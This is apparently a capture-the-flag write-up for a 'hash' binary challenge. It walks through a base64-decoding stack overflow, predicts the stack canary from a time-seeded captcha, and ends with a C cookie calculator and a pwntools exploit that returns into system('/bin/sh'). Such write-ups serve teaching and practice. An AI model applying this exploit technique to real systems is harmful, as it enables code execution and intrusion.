In process_hash
, the size of input is 1024
, the size after b64d
is 512, however, it should be 1024*3/4
, so there's a buffer overflow here.
Because of the stack canary, we can do nothing. I was confused here until I noticed the canary is also used in my_hash
to generate random number. Since the canary is gs:0x14
, it's always the same in all function calls.
We can calculate the canary value from the captcha
because the seed of randomization is the current time, we can fetch it from http request to http://pwnable.kr
.
After trying input b64e("AAAA"*(768/4))
to the program, jump to pass the canary check and break at ret
, we can notice that the top of stack is AAAA...
.
Again we input b64e(string.ascii_uppercase[:24]*(768/24))
, we can see:
[-------------------------------------code-------------------------------------]
0x804908b <process_hash+249>: pop ebx
0x804908c <process_hash+250>: pop edi
0x804908d <process_hash+251>: pop ebp
=> 0x804908e <process_hash+252>: ret
0x804908f <main>: push ebp
0x8049090 <main+1>: mov ebp,esp
0x8049092 <main+3>: and esp,0xfffffff0
0x8049095 <main+6>: sub esp,0x20
[------------------------------------stack-------------------------------------]
0000| 0xffffdb8c ("ABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGH"...)
0004| 0xffffdb90 ("EFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKL"...)
0008| 0xffffdb94 ("IJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOP"...)
0012| 0xffffdb98 ("MNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRST"...)
0016| 0xffffdb9c ("QRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWX"...)
0020| 0xffffdba0 ("UVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCD"...)
0024| 0xffffdba4 ("ABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGHIJKLMNOPQRSTUVWXABCDEFGH"...)
Just return to 0x08049187
to do system
with parameter in stack.
Break at the stack check and run the program. The time now is 1454513017
, and the captcha is -2091140111
. Feed these two data into a small program which is used to calculate stack cookie. And we get output 8a120200
, just as the same as what we print in gdb.
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv){
assert(argc==3);
int t = atoi(argv[1]);
int m = atoi(argv[2]);
srand(t);
int i=0;
int rands[8];
for(i=0;i<=7;i++){
rands[i]=rand();
}
int a = rands[1]+rands[2]-rands[3]+rands[4]+rands[5]-rands[6]+rands[7];
m -= a;
printf("%x\n",m);
return 0;
}
Since the g_buf
is in .bss
, and PIE
is closed, we can simply write /bin/sh\0
at the end of input.
POC:
from pwn import *
import time,os
t=int(time.time())
sh = process('/home/c/ctf/hash')
sh.recvuntil("captcha")
captcha=sh.recvline(timeout=10)
captchapos=captcha.find(' : ')+len(' : ')
captcha=captcha[captchapos:].strip()
sh.sendline(captcha)
print sh.recvline(timeout=1)
print sh.recvline(timeout=1)
print "Calling:","/home/c/ctf/hashc "+str(t)+" "+captcha
cookie = "0x"+os.popen("/home/c/ctf/hashc "+str(t)+" "+captcha).read().strip()
print "cookie:",cookie
sh.sendline(b64e((p32(0x08049187)+p32(720/3*4+0x0804B0E0)+"A"*24+p32(int(cookie,16))+"A"*12)*(720/48))+"/bin/sh\0")
sh.interactive()
I noticed that the time of the server is similar to local, just try some times(However, after trying -180
to 180
, I didn't get shell:( I don't know why, maybe the rand()
is not the same?).